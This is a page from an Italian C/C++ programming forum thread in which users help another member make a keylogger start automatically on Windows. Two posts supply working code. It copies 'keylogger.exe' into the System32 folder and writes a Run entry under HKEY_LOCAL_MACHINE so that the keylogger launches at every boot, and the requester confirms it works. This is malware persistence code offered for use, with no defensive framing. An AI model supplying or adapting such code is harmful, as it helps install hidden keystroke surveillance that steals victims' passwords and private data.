Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
C/C++ - auto avvio keylogger
Forum - C/C++ - auto avvio keylogger - Pagina 6

Pagine: [ 1 2 3 4 5 6 ] Precedente | Prossimo
Avatar
Dark_Limit (Ex-Member)
Expert


Messaggi: 220
Iscritto: 15/01/2008

Segnala al moderatore
Postato alle 23:23
Giovedė, 06/03/2008
Prova ad usare questo codice  senza modificare quello che ti ho dato prima:

Codice sorgente - presumibilmente C/C++

  1. HKEY hKey;
  2.                 RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,
  3.                 KEY_SET_VALUE,&hKey);
  4.                
  5.                 RegSetValueEx(hKey,"nomenelregistro",0,REG_SZ,(const unsigned char*)percorso,255);
  6.                
  7.                 RegCloseKey(hKey);



L'ho testato e funziona! Le librerie non servono tutto č incluso nel file header <windows.h>

!:k:

Ultima modifica effettuata da Dark_Limit il 06/03/2008 alle 23:27
PM Quote
Avatar
feddur (Normal User)
Pro


Messaggi: 200
Iscritto: 06/03/2008

Segnala al moderatore
Postato alle 23:33
Giovedė, 06/03/2008
Dark.. mi rendo conto di essere proprio scarso!
potresti gentilmente incollarmi l'intero codice esatto?
mi sono incasinato con tutte le prove che ho fatto, non so piu' qual č quella di prima!

fabrizio.. ora provo con la tua soluzione.

:):)

PM Quote
Avatar
feddur (Normal User)
Pro


Messaggi: 200
Iscritto: 06/03/2008

Segnala al moderatore
Postato alle 23:38
Giovedė, 06/03/2008
fabrizio, mi da errori con il  'null'

PM Quote
Avatar
FHF93 (Ex-Member)
Pro


Messaggi: 132
Iscritto: 13/11/2007

Segnala al moderatore
Postato alle 23:48
Giovedė, 06/03/2008
Allora ripeto ...
ho scritto null invece di NULL

Codice sorgente - presumibilmente C++

  1. #include <stdio.h>
  2. #include <windows.h>
  3. #include <winreg.h>
  4.  
  5. int main(){
  6.  
  7. //dichiari
  8. char sys32[512];
  9. char path[512];
  10. char autoavvio[]="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
  11.  
  12. //Prende la cartella di sistema
  13. GetSystemDirectory(sys32, sizeof(sys32));  
  14. //Scrivo in path il percorso della directory
  15. sprintf(path,"%s\\keylogger.exe",sys32);
  16. //Copio il file keylogger.exe nel path
  17. CopyFile("keylogger.exe",path, 1);  
  18.  
  19.  
  20. HKEY key_autoavvio;
  21. DWORD key_run;
  22. RegCreateKeyEx(HKEY_LOCAL_MACHINE,autoavvio,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key_autoavvio,&key_run);
  23. RegSetValueEx(key_autoavvio,"avvia",0,REG_SZ,"C:\\WINDOWS\\system32\\keylogger.exe",512);
  24. RegCloseKey(key_autoavvio);
  25.  
  26. /*Resto del codice del keylogger*/



(linka sempre la libreria come ti ho spiegato prima)

PM Quote
Avatar
feddur (Normal User)
Pro


Messaggi: 200
Iscritto: 06/03/2008

Segnala al moderatore
Postato alle 23:56
Giovedė, 06/03/2008
Status: Done...
č andato!
ma non vedo nessun file in "esecuzione automatica", mi devo proccupare? :D

PM Quote
Avatar
feddur (Normal User)
Pro


Messaggi: 200
Iscritto: 06/03/2008

Segnala al moderatore
Postato alle 0:09
Venerdė, 07/03/2008
vi ho fatti stancare? :rotfl:

PM Quote
Avatar
gantonio (Normal User)
Guru^2


Messaggi: 1532
Iscritto: 09/09/2007

Segnala al moderatore
Postato alle 19:30
Venerdė, 07/03/2008
Penso proprio di sė ...

PM Quote
Pagine: [ 1 2 3 4 5 6 ] Precedente | Prossimo